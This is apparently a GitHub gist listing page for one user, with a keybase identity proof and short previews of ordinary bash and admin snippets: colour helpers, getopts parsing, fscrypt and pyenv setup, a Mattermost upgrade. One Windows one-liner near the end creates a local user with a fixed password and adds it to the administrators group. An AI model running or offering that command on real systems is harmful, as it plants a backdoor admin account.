I hereby claim:
- I am x42en on github.
- I am bmz (https://keybase.io/bmz) on keybase.
- I have a public key ASBnlGzKvik0kDN6Gt8EQNn74WrgzlQ8RBcHdoCFxrBi6wo
To claim this, I am signing this object:
Development Status :: 1 - Planning | |
Development Status :: 2 - Pre-Alpha | |
Development Status :: 3 - Alpha | |
Development Status :: 4 - Beta | |
Development Status :: 5 - Production/Stable | |
Development Status :: 6 - Mature | |
Development Status :: 7 - Inactive | |
Environment :: Console | |
Environment :: Console :: Curses | |
Environment :: Console :: Framebuffer |
#!/bin/bash | |
ansi() { printf "\e[${1}m${*:2}\e[0m"; } | |
bold() { ansi 1 "$@"; } | |
dgreen() { ansi "1;32" "$@"; } | |
green() { ansi "1;92" "$@"; } | |
yellow() { ansi "1;93" "$@"; } | |
orange() { ansi "38;5;214" "$@"; } | |
red() { ansi "1;91" "$@"; } | |
lblue() { ansi "1;96" "$@"; } |
#!/bin/bash | |
# Exemple of using getopts from: | |
# https://stackoverflow.com/questions/192249/how-do-i-parse-command-line-arguments-in-bash | |
# saner programming env: these switches turn some bugs into errors | |
set -o errexit -o pipefail -o noclobber -o nounset | |
# -allow a command to fail with !’s side effect on errexit | |
# -use return value from ${PIPESTATUS[0]}, because ! hosed $? | |
! getopt --test > /dev/null |
#!/bin/bash | |
# Script based on tutorial | |
# http://tlbdk.github.io/ubuntu/2018/10/22/fscrypt.html | |
if [[ "$EUID" -ne 0 ]]; then | |
echo "[!] Sorry this script need to be run as root." | |
exit 1 | |
fi |
#!/bin/bash | |
# Transform Ubuntu 18.04 or Linux Mint 19 to MacBuntu | |
# https://www.noobslab.com/2018/08/macbuntu-1804-transformation-pack-ready.html | |
# If you want to change another version Ubuntu or Linux Mint? | |
# Search MacBuntu for your version on https://www.noobslab.com/search?q=MacBuntu | |
INSTALL_LOG='/tmp/macbuntu_install.log' | |
# Setup workspace |
#!/bin/bash | |
echo "..:: Mattermost Upgrade ::.." | |
function usage { | |
echo "Usage: $0 [VERSION NUMBER]" | |
exit 1 | |
} | |
INSTALLDIR='/opt' |
# List all interfaces | |
ip a | grep "^[[:digit:]]:[[:space:]]" | awk '{print $2}' | sed s/://g | |
# List all interfaces except loopback | |
ip a | grep "^[[:digit:]]:[[:space:]]" | grep -v 'lo:' | awk '{print $2}' | sed s/://g | |
# List all connected interfaces | |
ip a | grep "^[[:digit:]]:[[:space:]]" | grep -F 'state UP' | awk '{print $2}' | sed s/://g |
#!/bin/bash | |
# Setup constants | |
PYTHON_DEFAULT="3.6.8" | |
# Pickup some version from "pyenv install --list" | |
# Careful some version are not working depending of you hardware/OS target | |
PYTHON_VERSIONS=("2.5.6","2.7.12","2.7.15","3.5.3","3.5.6","3.6.8","3.7.2","3.8-dev") | |
# Detect bash version | |
if [[ -n "$ZSH_VERSION" ]]; then |
net localgroup | findstr /i admin | (set /p adm= & set adm | (net user usr s0rry! /add && net localgroup %adm:~1% usr /add)) |
I hereby claim:
To claim this, I am signing this object: